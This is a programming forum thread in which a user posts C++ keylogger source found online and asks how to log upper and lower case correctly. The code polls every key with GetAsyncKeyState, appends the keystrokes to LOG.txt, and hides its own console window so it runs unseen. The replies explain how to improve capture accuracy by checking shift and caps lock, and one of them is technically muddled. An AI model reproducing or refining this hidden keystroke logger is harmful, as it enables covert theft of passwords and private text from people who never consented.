0

I found this code on the internet which is an good keylogger only issue it always types capitals how to make the keylogger recognise if its capital or not?

/////////////////////////////////////////////////////////////////////////////////////////

#include <iostream>    
using namespace std;  
#include <windows.h> 
#include <winuser.h> 


int Save (int key_stroke, char *file);
 void Stealth();
 
int main() 
{
         Stealth(); 
    char i;
 
    while (1)
     {
         for(i = 8; i <= 190; i++)
         {
 if (GetAsyncKeyState(i) == -32767)
 Save (i,"LOG.txt"); 
        }
     }
     system ("PAUSE");
 return 0;
 }
 
/* *********************************** */
 
int Save (int key_stroke, char *file)
 {
     if ( (key_stroke == 1) || (key_stroke == 2) )
         return 0;
 
    FILE *OUTPUT_FILE;
     OUTPUT_FILE = fopen(file, "a+");
 
    cout << key_stroke << endl;
 
        if (key_stroke == 8)
         fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");  
         else if (key_stroke == 13)
         fprintf(OUTPUT_FILE, "%s", "\n"); 
        else if (key_stroke == 32)
         fprintf(OUTPUT_FILE, "%s", " ");
         else if (key_stroke == VK_TAB)              
         fprintf(OUTPUT_FILE, "%s", "[TAB]");
             else if (key_stroke == VK_SHIFT)
         fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
             else if (key_stroke == VK_CONTROL)
         fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
                 else if (key_stroke == VK_ESCAPE)
         fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
                 else if (key_stroke == VK_END)
         fprintf(OUTPUT_FILE, "%s", "[END]");
                     else if (key_stroke == VK_HOME)
         fprintf(OUTPUT_FILE, "%s", "[HOME]");
                     else if (key_stroke == VK_LEFT)
         fprintf(OUTPUT_FILE, "%s", "[LEFT]");
                         else if (key_stroke == VK_UP)
         fprintf(OUTPUT_FILE, "%s", "[UP]");
                         else if (key_stroke == VK_RIGHT)
         fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
                             else if (key_stroke == VK_DOWN)
         fprintf(OUTPUT_FILE, "%s", "[DOWN]");
                             else if (key_stroke == 190 || key_stroke == 110)
         fprintf(OUTPUT_FILE, "%s", ".");
                             else
                                 fprintf(OUTPUT_FILE, "%s", &key_stroke);
 
fclose (OUTPUT_FILE);
     return 0;
 }
 
/* *********************************** */
 
void Stealth()
 {
   HWND Stealth;
   AllocConsole();
   Stealth = FindWindowA("ConsoleWindowClass", NULL);
   ShowWindow(Stealth,0);
 }
3
Contributors
2
Replies
5
Views
5 Years
Discussion Span
Last Post by Narue
0

first off.. it doesnt only do capitals.. Iunno what ur talking about... its getasynckeystate which gets key presses.

try isupperchar()

0

GetAsyncKeyState only tells you which key was pressed. Casing is determined by combining those keys with the shift key and the caps lock key. You'll need to check those two as well and output the correct case accordingly.

This topic has been dead for over six months. Start a new discussion instead.
Have something to contribute to this discussion? Please be thoughtful, detailed and courteous, and be sure to adhere to our posting rules.